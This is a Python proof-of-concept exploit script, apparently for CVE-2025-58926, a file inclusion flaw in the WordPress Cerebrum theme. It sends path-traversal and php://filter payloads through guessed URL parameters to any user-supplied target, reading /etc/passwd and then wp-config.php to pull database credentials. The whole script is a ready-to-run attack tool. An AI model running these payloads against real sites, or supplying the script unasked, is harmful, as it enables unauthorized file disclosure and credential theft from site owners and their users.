# CVE-2025-58926 PoC - Cerebrum Theme LFI/RFI
# Target: WordPress site using Cerebrum theme <= 1.12
import requests
import argparse
from urllib.parse import urljoin
def test_lfi(target_url, filename='/etc/passwd'):
"""
Test for Local File Inclusion vulnerability
"""
# Common vulnerable parameters in WordPress themes
params = [
('file', filename),
('template', filename),
('page', filename),
('theme', filename),
('load', filename)
]
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
}
for param, value in params:
try:
# Try different path traversal patterns
payloads = [
value,
f'../../../../../../{value}',
f'../../../../../../../../{value}',
f'php://filter/read=convert.base64-encode/resource={value}'
]
for payload in payloads:
test_url = f"{target_url}?{param}={payload}"
response = requests.get(test_url, headers=headers, timeout=10)
# Check if file content is leaked
if response.status_code == 200:
if 'root:' in response.text or 'nobody:' in response.text:
print(f"[+] VULNERABLE! Parameter: {param}")
print(f"[+] Payload: {payload}")
print(f"[+] Response length: {len(response.text)}")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
def read_wp_config(target_url):
"""
Attempt to read wp-config.php
"""
paths = [
'../../wp-config.php',
'../../../wp-config.php',
'../../../../wp-config.php',
'../../../../../wp-config.php',
'wp-config.php'
]
headers = {'User-Agent': 'Mozilla/5.0'}
for path in paths:
try:
test_url = f"{target_url}?file={path}"
response = requests.get(test_url, headers=headers, timeout=10)
if 'DB_NAME' in response.text or 'DB_USER' in response.text:
print(f"[+] Found wp-config.php with path: {path}")
# Extract database credentials
return response.text
except:
continue
return None
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2025-58926 PoC')
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-f', '--file', default='/etc/passwd', help='File to read')
args = parser.parse_args()
print(f"[*] Testing {args.url} for CVE-2025-58926")
if test_lfi(args.url, args.file):
print("[+] Vulnerability confirmed!")
print("[*] Attempting to read wp-config.php...")
config = read_wp_config(args.url)
if config:
print("[+] Database credentials obtained!")
else:
print("[-] Target may not be vulnerable or is patched")